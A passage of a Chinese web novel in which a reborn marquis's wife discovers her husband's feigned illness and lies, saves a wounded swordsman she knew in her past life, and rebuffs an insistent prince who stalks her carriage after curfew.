“除掉几位师叔,师兄弟们都到了,”道士反应过来,问道:“信人是要寻人?”
江元音点点头,道:“前几回来观里,都在峰脚遇到了同一位轻扫台阶的小道长,今日过来却未瞧见,觉得有些奇怪。”
他都说除了几位师叔,师兄弟们都在这过堂用斋了。
那在峰脚轻扫台阶的小道长,自不可能是云鹤观的师叔吧?
“信人今日是何时上山的?”
“约莫是申时前后。”
“难怪,”道长一副恍然地解释道:“我们师兄弟会轮流清扫石阶,但是在每日卯时。”
江元音缓声,语调极轻,咬字清晰地同他确认道:“道长的意思是,云鹤观不会在卯时以外的时辰,安排人去清扫石阶?”
“嗯,观里日日有香客,清扫干净台阶,再迎香客登门一直是我们云鹤观的规矩。”
闻言清秋忍不住道:“怎么会呢?之前我来……”
江元音制止清秋,深呼吸后,尽量语气平常地同道长道:“敢问元奚**可在观内?”
她从袖口掏出准备好的侯府令牌,递过去,“定宁侯之妻**,求见元奚**。”
第110章 她只是他手中的剑
道长见过令牌,立即将江元音主仆三人领至会客室。
他道:“侯夫人稍等,我这就去禀告。”
屋内,江元音在空椅落座,帷帽下,面色紧绷。
云鹤观只会在清晨卯时安排人清扫石阶,而五月她派清秋来云鹤观送信,皆是下午时分。
那在峰脚扫地的人,根本不是云鹤观的道士,而是齐司延安排站哨的人。
他为何要安排人在峰脚站哨?
是怕错过她的消息,还是他根本就不在云鹤观?
答案如何,见过元奚**自有结论。
此时,雪燕和清秋亦后知后觉地意识到不对劲,开始明白江元音今日为何要在齐司延进宫面圣后,直奔云鹤观了。
侯爷是欺瞒了夫人什么?
夫人看起来好生气呀。
两人心里直嘀咕,皆紧张得很。
未多久,有人叩了叩门,唤道:“侯夫人。”
江元音:“请进。”
雪燕与清秋忙快步上前去开门,踏进门的是一三十五岁左右的清瘦道长。
帷帽下,江元音眸光闪烁,有一瞬的恍惚。
眼前的道长,她是认识的。
前世她被李承烨拿来试毒炼药,他没寻到元奚**的踪迹,只绑来了元奚**的徒弟至玄。
正是面前这朝她而来的清瘦道长。
至玄朝她拱手行了个礼,开口道:“我乃元奚**的徒儿至玄,侯夫人来得不巧,我师父今日不在观中,不知侯夫人何事寻我师父?”
他顿了顿,补充道:“师父不在观中时,一切由我做主,侯夫人有事直言便是。”
见状,江元音心里有了新的求证法子。
她示意至玄落座,道出早备好的说辞:“约莫是五月中旬,我家侯爷来观中拜访元奚**,回府后发现遗失了一只香囊,不是什么贵重物品,只是恰好我今日来观中祈福,偶然想起此事,便想碰碰运气,看是否遗失在了观中。”
“那不可能,”至玄讶然否认:“侯夫人弄错了吧,侯爷五月并未来过我观中,如何会遗失香囊在我观中?”
闻言江元音双手微微蜷缩,答案呼之欲出,可她还是谨慎地,不想有一丁点冤枉了齐司延的可能,便开口道:“侯爷并非来观中祭拜祈福,只是来拜访元奚**,或许没去前院主殿,是以道长才不知晓。”
至玄仍不认可,继续否认道:“那更是不可能。”
“为何?”
“侯夫人有所不知,我师父于年初开春便南下云游,寻访旧友,离观将近半年,尚未归来,侯爷如何会在五月来我观中,拜访我师父?”
江元音呼吸一滞,幸亏戴着帷帽,才无需克制自己的神态表情。
她的怀疑没有错。
齐司延五月两次离府,说是来了云鹤观,全是谎言。
根据关啸与曲休所言,他们在坞城凶险万分,当是去调查齐腾夫妇枉死的事,不可能是跑坞城去治病了。
他的耳力、目力可以说是因为她熬的解药而治好了,那他的腿呢?
是如何去了一趟坞城,便痊愈的?
显然,他的腿瘸是装的。
可他装的,真的只有腿吗?
见江元音沉默不语,至玄又道:“想来侯夫人是听岔了或是记错了,总之侯爷的香囊万不可能是遗落在我观中了,至玄爱莫能助,还请侯夫人去别去寻寻了。”
江元音尽量声线平缓地回应道:“许是我记错了。”
她起身,告辞道:“临近傍晚,再不走怕是要摸黑下山了,我便不再逗留了。”
至玄随之起身行礼,场面地客气道:“侯夫人若不介意,可留宿观中,明日清晨再下山,若急着回府,我并不强留了。”
“多谢道长好意,今夜便不叨扰了。”
江元音不多做逗留,匆匆离开了云鹤观。
她下山的步子迈得更快,心绪却越发沉重混乱。
她强迫自己冷静,一一回想自嫁入侯府后,与齐司延的点点滴滴。
当带着答案去回忆,处处都有迹可循。
新婚夜她和他没有正面交流,只看到了急不可耐爬床的陈招娣。
次日,她给他送去了药膳,想陪
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他一道吃晚餐。
结果是他因为看不清,掀翻了药膳,要她扯着嗓子一一报菜名,最终却一口没吃。
之后,她在陆氏的施压下,扮演“贤妻”,日日去陪他用膳,但他有各种理由推拒她,依旧没和她一起吃过一口餐食。
那时,她只当他是不满意她这个商贾出身的妻子,才故意冷淡她。
她乐得轻松。
他们的关系是何时变得亲近一些的呢?
是她以清秋为诱饵,在青松院布局,引得王嬷在陆氏的示意下,偷拿她的嫁妆,她出手整治院中仆妇时,他立场明确地站在了她这边。
甚至派了曲休,陪她去陆氏那理论,又助她拿到存放她嫁妆的库房的钥匙。
她当时只道他是品性好,尊重爱护她这个“妻子”,想来才恍然,他不过是借她来对付陆氏。
思及此,脑海中所有点都连成了线,豁然开朗。
他根本不是在五月被元奚**“治”好后,才看清陆氏一家的真面目。
他从始至终都是知情的,所以他不同她吃饭用餐,陆氏安排她去侍候他药浴那回,他以药浴池被她弄脏了为由,并未泡那药浴。
他什么都清楚,处处提防着她。
再借她的手,对付陆氏。
例如,在陆氏放任齐维航去拿玄霜剑时,他推波助澜,让她阻止。
那日,她是真的共情他的遭遇,觉得他便是另一个自己。
她自以为是地替他摆好玄霜剑的陈列架,动容地向他许诺,一定会解开他身上的毒,让他好起来。
也就是从那个时候起,他对她,才逐渐放下了防备。
他开始同她一道吃饭,答应她回主屋睡。
还有,雪燕小声同她埋怨,陆氏要求给她齐婧涵添嫁妆,接着,曲休便给陆氏送上了侯府库房的钥匙,让陆氏和齐婧涵自行挑选嫁妆。
原来如此。
原来一直以来,他都能听、能看、能走,却装作一副命不久矣的病秧子模样。
那她于他而言到底算什么?
只是……他手中的剑吗?
第111章 遇到前世故人
江元音回忆起了更多的细节。
在她泡了他的药浴不慎**后的第二天,他命曲休送来了静息丸。
她第一次给他送熬制的解药时,他亦是防备的,直到她喝了一口,他方才喝下去。
陆氏**、齐文台一家寄生蚕食侯府,他什么都知道。
可他什么都不说,他将她蒙在鼓里,看着她自以为是地想要“拯救”他。
他扮猪吃老虎,将她耍得团团转,让她像个蠢货一样,心疼共情他的遭遇。
思及此,江元音心口一阵钝痛。
她其实可以理解他前期对她的防备试探,他处在这样的环境里,不信任身边的任何人都情有可原。
可他亮出所谓的“家规”,说着他们两个都要遵守坦诚时,为何不如实以告?
那个时候,她将自己的心门看守得很好,只将他视作同仇敌忾的盟友。
他完全可以不提情爱,只同她谈合作共赢。
就如她昨夜在船舫上对他说的一般,他想利用她,不妨直言,她定会好生配合,让他事半功倍。
她可以成为他的“剑”,但不可以被他用所谓的爱意蒙蔽,误以为自己是被尊重珍视的珍宝后,再发现自己其实只是一把“剑”。
他明明可以坦然告诉她的,却要用一生一世一双人的谎话来诱她沉沦。
她如何不气?
江元音完全陷在情绪里,步子迈得飞快。
眼看着就要到玄渺峰峰脚时,清秋忽然“啊”地叫了声,冲着石阶旁的灌木丛惊声道:“夫人小心!好、好像有野兽!”
她自己控制不住地害怕瑟缩,却下意识地护在江元音身前。
雪燕亦护住江元音,探头朝灌木丛看去,疑惑出声:“诶——好像不是野兽,是有人摔倒了啊!”
她不设防地往前迈了两步,想伸手将人扶起来。
去往云鹤观祈福的香客不少都是上了年纪的大娘,一个不小心摔倒在这灌满丛里也不是不可能。
然而下一瞬,灌木丛里倏地伸出血淋淋的手,一把抓住了的雪燕的脚踝。
“啊——!”
“啊——!”
雪燕同清秋的尖叫声,此起彼伏。
江元音这才从自己的思绪里抽离,忙抬眼看去。
此时雪燕已惊恐万分,身子发软地跌坐在地上,尝试往后爬,哆嗦着:“松、松开……我……”
江元音顺着那只血淋淋的手看去,一张惨白的男人的脸,映入她眼帘。
她心口一颤。
……怎么会是他?
……封弋?!
江元音不知道今天是什么日子,竟会让她一次又一次地遇到上一世的故人。
封弋同至玄这样,被李承烨绑来,知道身份来处不一样。
他一直神秘,从年龄到来历,只知道他武功了得,**于无形。
听闻他年少时在汴京伤重,得一好心的姑娘相救,而后姑娘惨死,他屠了凶手满门,在大昭国内被追杀通缉,才去了不受任何一国管辖的兰郡。
之后,他投诚了李承烨,成了李承烨的利刃,替他杀了不少眼中钉。
汴京……
伤重……
莫非就是今日?
江元音面色一凛,俯身开口道:“你先松开我的丫鬟,我会救你的。”
封弋置若罔闻,像溺水的人抓住最后一根浮木一样,扼住雪燕的脚踝,一瞬不松。
雪燕哭道:“夫人莫过来,不要管我,夫人快走……”
此人要么是神志不清,要么是穷凶极恶之辈。
都怪她莽撞,她不能害了夫人!
江元音没退步半点,反而蹲下身子,从容从袖口掏出了之前她泡了药浴**,齐司延送给她的静息丸。
她当时**不深,不想浪费这药,便一直保存着。
今日她来寻元奚**,怕其质疑她的身份,不仅带了侯府令牌,也特意带上了这静息丸。
谁知元奚**并不在云鹤观里,她无需掏药证明身份。
好在,现在也派上了用场。
“这是元奚**所制的静息丸,”江元音递至他唇边,再次沉声重复许诺道:“你莫怕,我会救你的。”
前世,她被李承烨折磨致死,今生她不去寻他复仇,是不想活在前世的阴霾里,和那个
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疯子再有牵扯。
但这并不意味着,她想他好过。
她或许没本事去到泉郡,直接端了李承烨的老窝。
可既然让她碰上了封弋,她不可能让其再成为他的**利刃。
更何况,封弋能为了恩人,不惜被追杀通缉,灭凶手满门。
他既是重情重义之人,她自然要救。
日后……她或许“有求”于他。
清秋纠结不已,欲言又止地唤道:“夫人……”
她既怕江元音受伤,又不能不管雪燕,但又想不出什么好法子,煎熬得很。
而封弋终于有了反应,他转了转眼球,一双眼似是要穿透江元音的帷帽,将她看穿。
江元音见他对静息丸不为所动,也警觉地没有松开雪燕半点,于是开口道:“我与你无冤无仇,没必要害你,我丫鬟本也是好意想搀扶你一把,是你拉住她不放。”
她右手维持着将静息丸递至他唇边的姿势,左手去拉他扼住雪燕脚踝的手,道:“你松开她,抓我好了,若是这静息丸有不对劲,以你的身手,拉我陪葬便是。”
雪燕感动得无以复加。
她一个丫鬟,何德何能能让夫人这般待她?!
封弋扼住雪燕的手不松,下一瞬,他抬起了另一只手,死死抓住了江元音拿静息丸的那只手。
江元音:……
真是低估了他的警觉。
她想与他以一换一,争取他的信任。
他倒好,她和雪燕,他一个都不打算放过。
显然是有半点不对劲,就要将她们主仆俩一起带走。
封弋这才吞下了静息丸,松开江元音与雪燕,挣扎着坐起身,运功调理。
雪燕如蒙大赦,和清秋一起去搀扶江元音起身。
江元音抬手制止,冲封弋问道:“你可好些了?自己能站起来吗?”
封弋不语,失血过多,整张脸是毫无生机的白。
江元音不再追问,只是主动伸手去搀扶他,“你伤得太重,只一颗静息丸只能暂缓你的伤势,需得找个郎中看看,这里是城郊,马上要天黑,你坐我的马车入城吧。”
第112章 人言可畏,我爱莫能助
江元音既决定了要当封弋的“恩人”,自不可能喂他一颗静息丸,便将他丢在这不管。
他伤得这般重,指不定她现在离开后,便会遇上他上一世的那位恩人,那么最终他还是会成为李承烨的帮手。
她一人自是没法扶起封弋,便吩咐雪燕、清秋一同过来搀扶。
雪燕、清秋不解,但见江元音很坚持,不得不听从吩咐。
主仆三人费劲将封弋扶上马车。
马车内,气氛莫名的压抑紧张。
封弋面容冷峻,死死盯着江元音。
而江元音只是不动声色地坐在一角,和他保持着距离,不看他亦不同他交谈。
雪燕和清秋都高度紧张,神经紧绷,近乎屏息地注意着封弋的一举一动,生怕他会突然出手,伤害江元音。
夫人未免太过心善,这种人也搭救一把!
着实危险!
马车驶动,不到片刻却又停了。
这时有道男声传来——
“敢问车内,也是今儿个去云鹤观上香的香客吗?”
江元音蹙眉,凝神听着。
今日遇到的“故人”着实是多,她免不得猜想,这遇见的又会是谁?
听声音是道陌生的成熟男声。
紧接着她听见车夫很是警惕地问出了她心中所想:“公子有何贵干?”
“玄渺峰景色甚好,一时误了下山的时辰,眼瞅着要天黑,怕赶不上城中宵禁,不知善人可否行个方便,载我主仆一程?”
车夫哪敢擅自做主,只好敲了敲车厢门,请示唤道:“夫人?”
江元音眼神示意清秋、雪雁挪至封弋身前,将其遮挡严实,随手微微掀开车窗,朝说话之人看去。
来人一身锦衣华服,从头到脚都是掩饰不住的贵气,连他身后随侍的穿着都不简单。
见她掀开了车帘,目光径直落到了她身上。
男人笑道:“还望夫人行个方便,在下不胜感激,入城后必有重谢。”
江元音温声回道:“公子言重了。”
见其笑容渐深,她接着补充道:“可惜车里只我与两个丫鬟,实在没法同公子行这个方便,好在今日去到云鹤观祈福的香客不少,公子不妨趁着天还未黑,赶紧去寻其余善人的帮助。”
男人笑容僵了僵,不死心道:“我们同车夫挤一挤,坐马车外即可,夫人……”
“抱歉,”江元音打断他,再次拒绝,“人言可畏,我爱莫能助。”
语罢,她松开车帘,示意车夫驶离。
清秋和雪燕忙远离封弋,困惑出声。
“那公子看着身份不俗,怕是哪位世家大人家的郎君,夫人为何不行个方便?”
“是啊,让他们坐外头不就行了?”
原本江元音载不载他们,她们俩都不会这般不解。
只是在江元音连封弋都救了后,她们便开始琢磨不明白了。
夫人如此乐善好施,怎不肯搭载那位郎君一程?
江元音回道:“正是如此,才不能载他。”
“为何?”
“既是权贵人家的公子,出行又怎会不备车马?”江元音淡声道:“何况他们神色松弛得很,可不见半分烦闷着急。”
她还省略了很多没说。
隔着帷帽,他看她的眼神,令她本能的不适。
虽不知道缘由,但她依稀能察觉,他似乎是冲着她来的。
她压根不是什么见人就帮的“大善人”,救封弋亦是有所图,何苦为了个陌生人,把自己置于危险之地。
雪燕和清秋听得一愣一愣的,感慨夸赞道:“夫人当真是观察入微,细致谨慎。”
夸完忍不住悄悄瞟向一身怖人伤口,森冷如男鬼一般的封弋。
两人瑟缩了下,再看向江元音,脸上清楚写着:那夫人为何要救他啊?
怎么看,这个男人都比刚刚那个贵公子来得危险。
江元音哪能同她们说清个中曲折,只是随口回道:“救人一命胜造七级浮屠。”
一旁的封弋抬眼,朝她看去,眸色讳莫如深。
若不是那一颗静息丸起了效,此刻他早已昏厥过去。
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>而正如江元音所料,被拒的男人,一脸不可思议地望着马车消失在视野。
他正是乞巧节,立在花灯摊贩下,注视她良久的珩王李霁。
他的确是奔她而来。
犹记得乞巧节那日,她对那些莽撞的孩童可都温柔好说话得很。
甚至还将手中的花灯赠与了小女孩。
他没想过,她会拒绝载他一程。
随侍面色紧张,俯身请示道:“王爷稍等,小的去将马车驶来?”
李霁眸光一暗,催促道:“动作快些,追上去。”
另一边,江元音乘坐的马车,正在往汴京城内赶。
车内,四人各怀心思,静谧得很。
封弋的出现,让江元音不再沉浸在对齐司延的生气、失望中。
她起了很多事。
她初初嫁入侯府,便是计划着等齐司延死后,在李承烨攻到汴京称帝之前,回到江南,不管这天下姓甚名谁,过她的悠哉日子。
许是最近过得太顺遂,让她忘了这一茬。
齐司延是如此心思缜密之人,他的**既然都是装的,那他上辈子到底是**的?
总不可能是**云裳害死的吧?
而不管他上辈子的死因是什么,他正谋划着回到朝堂大展身手,想来是不可能会离开汴京的。
她亦没有那个能力劝他离开汴京。
思及此,她心口一阵酸涩,但很快被自己压制下去了。
她如今知道真相,一切还不晚。
马车一路驾驶到西市的医馆。
江元音有条不紊,先是命雪燕去唤医馆里的人,来帮忙将封弋扶下马车。
继而给了清秋银钱,命她立即乘坐马车去房牙子那,买一处僻静的小屋子。
自己则陪封弋进了医馆,掏出一袋银子递给大步迈过来的郎中,重声恳切道:“无论要花多少银两,请务必用最好的药材,将他医治好。”
郎中接过沉甸甸的钱袋,“夫人放心,老夫定竭尽所能!”
说着忙唤人去将医馆内所有的郎中都叫来帮忙。
第113章 护送她出汴京
整个医馆的郎中都围了过来,替封弋处理伤口。
脱掉他那身被血渗透的衣服,江元音方知他浑身都是窟窿,血肉模糊,恐怖瘆人。
除掉那张脸,似是没一处好肉。
饶是帮他处理的郎中不乏行医数十载的人,也依旧为之一震。
若不是他呼吸尚存,他们都要忍不住怀疑,他是不是已经**。
江元音不忍也不便再看,转过身吩咐雪燕速速去买几身干净衣服。
整整处理了近半个时辰,郎中们才将封弋身上的伤口处理妥当,而他全程没吭一声,只是目不转睛地盯着江元音。
反倒是郎中们,个个都满头大汗。
为首的郎中抹了把额头的汗,朝江元音走来,感慨道:“幸亏夫人送治及时,否则怕也是回天乏术啊!”
“辛苦了,”江元音温声询问,“当无性命之忧了吧?”
郎中面色凝重,谨慎道:“不好说,他伤得实在是太重,恐需在医馆住上一段时日,医馆日夜有人守着,有甚突发状况也能及时处理,若能熬过半月,方能说性命无虞。”
江元音表示了然地点点头。
她先前没想到他伤得这般严重,毕竟他还有力气在灌木丛抓住她和雪燕不放,在来医馆的马车上,还能保持坐姿,而不是昏死过去。
所以才命清秋去买间小屋子,想着等给他包扎处理了伤口,便将他安置在那养伤。
可她刚刚粗略瞟见了他的伤口,才觉得他能活下来当真是奇迹,可见其意志力和求生欲有多强烈。
想必上辈子那位姑娘定是耗费了一番心力才将他从鬼门关抢救回来,难怪他会为了她屠人满门。
待医馆的伙计帮忙给封弋换上了干净衣服,江元音才独自迈进屋内。
她立在病床前,问道:“这日日有郎中为你看诊换药,你且在这先住上半月,待性命无虞再做打算,可好?”
封弋挣扎着坐起身。
江元音看得心惊肉跳,尝试劝阻:“你躺着吧,免得牵扯到刚包扎好的伤口。”
可封弋很坚持,他坐起身,盯着她,终于张唇开了口:“为何要救我?”
他嗓音低沉喑哑,似是已许久不曾说过话般。
“自不会平白无故地救你,”江元音不说冠冕堂皇的漂亮话来包装自己,言简意赅道:“我需要你回报我的。”
她知道像封弋这样刀尖舔血过活的人,并不喜欢听“花言巧语”。
她亦不需要他再背负上辈子那样沉重的恩情。
封弋眉目果然舒展些许,问道:“你想我怎么回报?”
江元音缓声回道:“我知你身手不错,如果有一天我要离开汴京,望你护我一程。”
回汴京的马车上,她已经想明白了。
她对齐司延动了心,生出了眷念与期待,以为前世的渴求的“家”,因为他终于得偿所愿。
所以才忍受不了齐司延以爱为名的欺瞒利用。
可除去动机不纯,他待她的确不错,称得上是一位合格的“丈夫”。
她打算同他开诚布公地聊一聊,问清楚他到底是从何时开始欺瞒利用她,又打算欺瞒利用她到何时。
现在想来,他这么多年对齐文台一家的蚕食不为所动,是让他们当他的**,好韬光养晦。
他一定是在下一盘很大的棋,或许攸关天下局势。
他若当她是“妻”,将一切谋划、动机、目的如实以告,她愿和盘托出,告知他将来,助他在李承烨羽翼丰满攻上汴京前,将其扼杀在兰郡。
他若只当她是“棋”,她会缄口不言,与他和离后,离开汴京。
君若无情她便休。
她需得做好最坏的打算,若齐司延只当她是棋子,定不会让一个知晓他秘密的人离开。
那时,封弋能助她。
封弋静候片刻,见她不再有下文,方才开口:“就这?”
江元音颔首:“就这。”
帷帽下,两人沉默对视。
江元音率先出声:“你可应了?”
封弋没出声回答,只是兀自抬手运功,下一瞬隔空以掌风劈掉了江元音的帷帽。
速度之快,江元音完全来不及反应。
帷帽落
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地,她愕然看着他,下意识地脱口问道:“你这是何意?”
伤到这种地步,他竟还能运功?
他武功果然了得,有他相助,她定能顺利离开汴京。
封弋目光直接地锁定在她脸上,开口回道:“我总得认得我要护送的人。”
他早就看她的帷帽碍眼。
江元音知他这便是答应了,俯身弯腰去捡地上的帷帽,余光不经意间瞟到他的胸口,那刚换上的干净衣服竟又有鲜血肆染开来。
显然他刚刚运功劈掌,牵动了伤口。
可他眉头都没皱一下,全然不知疼。
他这人真是矛盾得很。
伤成这样也没放弃活下去,但又半点不珍惜自己的身体。
浑身透着一股拧巴的狠劲。
江元音无语叹息出声:“你想看我是何样貌,说一声我摘下帷帽便可。”
她拿着帷帽,没有急着戴上,见他目光仍旧充斥着探寻落在自己身上,主动道:“我叫江元音,你呢?”
按照他的逻辑,他需要认得她,避免他又做什么伤害到身体的事,她直接道明姓名,也是想确认,他是不是真的是封弋。
封弋没甚起伏的眉目间难得染上几分犹豫,一阵沉默后,低声回道:“……封弋。”
江元音确认自己没有捡错人,表示了然地点点头。
这时雪燕敲了敲门,在门口提醒道:“该走了夫人,再不走怕是要误了宵禁了。”
江元音轻“嗯”,瞟了眼封弋染血的胸口,温声道:“我去唤医馆的人来帮你重新包扎,你好些养伤,我过两日再来看你。”
她接着嘱咐道:“多爱惜自己的身体一些,封弋,望你快些好起来。”
语罢,她重新带上帷帽,转身朝门口走去。
安置好了封弋,是时候回侯府,处理她和齐司延之间的事了。
病床上的封弋一直沉默望着江元音离开。
他无声地盯着那扇门,直到医馆的人又进来帮他处理刚刚运功而裂开的伤口。
他张了张唇,声音轻而慢地念道:“江……元……音。”
第114章 好巧啊,又见面了
江元音留够了银钱,仔细叮嘱了医馆负责人一番,方才坐上马车回侯府。
在医馆耽搁的时间太多,其实要赶在宵禁前回到侯府,是有些勉强的,只盼着一路通畅,别遇上巡铺。
较比江元音,雪燕和清秋就着急了许多。
不住掀开车窗帘看马车已行驶至何处了,恨不能隔一会便去催促车夫一遍。
见她俩实在是忧心,江元音方才出声道:“别急,我们已经离开了西街,碰到巡铺的可能不大。”
东街住的是权贵,若是出行一般都有夜行令牌,因此巡铺们大多只会在西南边巡视。
雪燕闻言并未放心下来,而是忐忑问道:“若侯爷比夫人先行回府了,那可怎么办?”
虽然听那至玄道长所言,似是侯爷五月出府,骗夫人去了云鹤观,实则压根没去。
侯爷既瞒着夫人,定是不想夫人知晓吧?
若是夫人比侯爷晚归,要如何圆场啊?
江元音知道雪燕心里在担忧什么,不以为然地回道:“那正好。”
她本没打算隐瞒自己下午去了云鹤观的事,他要是回得比她早,她正好顺势摊牌了。
骗人做戏的是他,她没什么好心虚的。
“啊?可是夫人……啊!”
她话说到一半,只听到“咻咻”几声箭声,马车骤停,整个车厢都因为急停而往前剧烈一晃,连带着车内的主仆三人都控制不住地前倾,差点摔倒。
雪燕和清秋赶紧去搀扶江元音。
耳畔是马儿受惊的鸣叫,江元音忙扬声问道:“怎么了?”
她怎会听到马车中箭的声响?
车夫一边握紧缰绳,控制住受惊的马儿,一边高声告知江元音:“不好了夫人,似是巡铺将马车车轮射毁了!”
江元音一怔。
还真是中箭了?
可这如何可能?
便是她真的是运气不好,撞上了巡夜的巡铺,他们将马车拦停,盘问她一番即可,没可能会如此莽撞的射毁车轮,逼停她吧?
江元音心里一沉,强作淡定的掀开车帘,查看情况。
数丈外,的确有一队巡铺装扮的人,高举火把,手持弓箭,朝着马车而来。
江元音心里仍觉古怪,但手已探向腰间侯府的令牌,开始斟酌一会面对盘查的说辞。
然而那队巡铺却没有继续靠近,因为街头有另一悬挂着琉璃灯笼的红木马车迎面驶来。
巡铺们举着火把迎上去。
她看着红木马车的主人掀开了车帘,不知同巡铺们说了些什么,巡铺们齐刷刷的侧头朝她马车的方向看了一眼,随即朝着红木马车的主人俯身行礼,整齐划一的离去。
这边,江元音马车的众人,心情跌宕起伏,一头雾水。
“这……夫人,他们怎地走了?”
“对面马车里坐的是谁啊?”
“诶,夫人,马车坏了,我们如何回府?”
江元音不语,目光落在对面的红木马车上。
就凭那些巡铺刚刚撇头看她马车方向的那一眼,她直觉对面马车主人,一定说了些什么与她相关的。
红木马车豪华贵气,能三言两语驱散巡铺队,身份不容小觑。
可那主人为何帮她?
认出她乘坐的是定宁侯的马车,卖齐司延一个面子?
揣度分析间,红木马车已迎面驶来,直接停在江元音的马车前。
两位车夫恭敬的打开马车门,之后跳下马车腾位。
车主人倒是没卖关子,径直出了马车,一身锦衣华服立在车夫驾驶的位置,琉璃灯照着他那张似笑非笑地脸,冲着马车内的江元音扬声道:“好巧啊,夫人,又见面了。”
江元音觉得这嗓音有几分耳熟,示意雪燕清秋打开了车门。
她抬眼看去,认出此人正是不久前在玄渺峰下,求坐她马车的郎君。
什么“好巧”,分明是“好用心”吧。
江元音看破不说破,意味深长道:“看来公子是顺利‘借乘’到马车,赶回汴京了,玄渺峰来往的,果真都是善人啊。”
正如她先前所料,他在玄渺峰要借乘她的马车
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,只是借口。
他到底是谁?
接近她所为何事?
“非也,”李霁展开折扇扇了扇,回应江元音的质疑道:“乃我家仆给力,及时驱车去接了我,噢,也不够及时,否则我也不至于宵禁时分还在街上未能赶回府里。”
他挑眉,状似讶然地询问道:“倒是夫人,比我早归近半个时辰,怎会也没能赶在宵禁前回府呢?”
江元音自不会将封弋的事透露出去,一开口又将话题往他身上引,“公子三两句便劝退了巡铺,想来是得了夜行令牌,既有夜行令牌,又何必忧心宵禁?”
有夜行令牌的人,夜晚可畅行无阻,无视巡铺。
常人可拿不到夜行令牌。
李霁不置可否,瞟了眼车轮上的箭,一派好脾气的浅笑道:“虽说夫人之前不愿载我一程,但我非心硬之辈,愿与夫人行个方便。”
他侧身抬手,朝着自己的马车做了个“请”的姿势,“夫人马车既不能行,在下愿送你主仆归府。”
江元音感慨:“公子真是面慈心善啊。”
“举手之劳罢了,好歹刚从云鹤观下来,拜过了三尊,定要多多行善才是,更何况短短数个时辰内,偶遇夫人两回,一定是神明指引,安能袖手旁观?”
帷帽下,江元音勾唇冷笑,淡声拒绝:“多谢公子好意,但妾身还是那句话,人言可畏,不便同乘。”
李霁仍是下午那套说辞:“夫人同婢女坐车内,在下同车夫坐车外,定不会有损夫人名声。”
江元音再次拒绝:“不必了,此处离侯府不远,妾身走回去便好。”
她特意加重了“侯府”的发音,表明自己的身份。
语罢,她特意扬声唤道:“雪燕,清秋,扶我下车。”
“是,夫人。”
江元音在雪燕、清秋的搀扶下,下了马车。
她不再看男人一眼,径直朝侯府的方向迈去。
高大的红木马车上,李霁敛了笑,声音骤冷,近乎威胁:“夫人不让我送,是想让巡铺相送?”
第115章 执着于让她脱衣
江元音驻足转身,隔着帷帽抬眼看向立在马车上的男人。
她在脑海里搜寻了两辈子的记忆,仍觉得从未见过他。
他到底有何目的?
江元音晓得自己此时若是受他威胁,惶恐不安,便是中他下怀。
是以,她越发轻快地开了口:“好啊,那便有劳公子,唤巡铺们回来一趟。”
“……没有夜行令牌,宵禁时分仍在街上逗留,违反了大昭律法,你便是侯夫人,也得受罚。”
“是得受罚,但并非死罪,何况我事出有因,”江元音淡然自若,“倒是巡铺队不分青红皂白,射毁我的马车,难道就合情合法了?”
她悠悠道:“若不是公子自作主张命他们撤离,我正要同他们理论追责。”
李霁黑脸,将展开的折扇收叠,在自己手心敲了敲,目光下移,落在江元音的衣服上,又道:“宵禁时分在街上逗留的确不是死罪,那**总该要偿命。”
“侯夫人衣裳上全是血迹,不知是刚打哪杀了人回来啊?”
江元音:……
他莫不是脑子有病?
她深呼吸,调整了下情绪,开口道:“我刚送一伤患去了医馆,是以身上才沾了血污,也因此才误了宵禁,**偿命,公子拿人命开妾身玩笑,怕是不妥。”
“是么?那也不能听你一面之词,”李霁顺势道:“要不夫人将身上染血的衣裙脱下来,我拿去验验?”
雪燕实在气不过,怒斥道:“好你个登徒子,竟逼我家夫人当众脱衣!王法何在?!”
正值酷暑,衣衫本就轻薄,让夫人脱了染血的衣裙,同脱衣有何区别?!
立在马车旁的随侍闻言要拔剑,李霁抬扇敲了敲剑柄阻止,冲江元音道:“我车厢内恰有干净衣物,夫人可上车更换。”
江元音越发觉得怪异,却也实在猜不透眼前男人的动机目的。
她声音冷了冷,试探问道:“公子好大能耐,不仅能对巡铺召之即来挥之即去,还能张嘴便来,让人背上命案,不知公子姓甚名谁,是哪位王孙大人?”
她已到了东街地界,巡铺队便是认不出她乘坐的是侯府的马车,也不可能如此莽撞地射毁她的马车。
要么刚刚那群巡铺是假冒的,要么眼前的男**势滔天。
她已表明身份,他也唤她“侯夫人”,却仍咄咄逼人,说明他身份地位当在齐司延之上。
他到底是谁?
李霁不语。
江元音等了半晌,也不见他亮明身份,心里反而不慌了。
他不用权势压她,那她身上必有可和他谈判的筹码。
她无需太过忌惮害怕他。
思及此,她继续开口道:“我与公子素不相识,无冤无仇,公子这般刁难我,难道只因我下午畏惧人言,未载公子一程?还是……”
她拉长语调,微顿后问道:“公子与我家侯爷有甚误会过节,便来寻我撒气?”
她到汴京后甚少出府,更未同京中权贵有任何往来,不存在得罪面前的男人。
在齐司延去珩王船舫亮相前,侯府一向冷清。
今日又是众武将登门,又是圣旨宣其入宫,她很难不怀疑面前的男人,也是因为齐司延才接近她。
“自然不是,”李霁神色中闪过一丝不屑,“本……人,怎会拿一个女人来撒气?”
“那是?还请公子直言。”
李霁心里堵得慌,没想到江元音这般伶牙俐齿又软硬不吃。
但一想到她帷帽下的那张脸,又强忍了下来。
沉默片刻后,他方才开口道:“前边是我失言,不该见夫人拒人于千里之外,便失了风度。”
他顺着她抛出来的话,道:“我与定宁侯不仅没有误会过节,相反还算有几分交情,方才想送夫人一程。”
“我没有恶意,夫人不必如此防备我,”李霁侧了侧身,又劝道:“夫人还是上车换身干净衣物吧,免得一身血污回去,叫定宁侯看了担心。”
江元音真的想不明白,他为何如此执着叫她换掉身上的衣服。
她衣裳上都是封弋的血。
这时有个念头忽然冒了出来。
……难不成,他是冲着封弋来的?
她刚将封弋扶上马车,他便来求乘,是
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想试探,是不是她救了封弋?
如此他古怪的行径便也说得通了。
他是伤了封弋的人吗?
难道上辈子封弋被整个大昭通缉追杀,不得不待在泉郡,投奔李承烨,便是因为他?
以他的权势的身份,不是不可能。
思及此,她有些懊恼自己刚刚为何要提及送人去了医馆的事,可千万别连累到了封弋。
好在她在玄渺峰时,将他甩下,他一时间该查不到封弋在哪家医馆才是。
江元音脑子转了转,忙故意引导他道:“不碍事,待回了侯府,妾身会将自己在城南边看到一被不孝子殴打伤重的老妇,将其送到东街的医馆救治的事,如实禀告侯爷。”
她给的全是错误信息,避免他查到封弋身上。
语罢,仍嫌不够,又道:“不过既然公子是和我家侯爷交好才愿送我归府,我便不再推却公子的好意。”
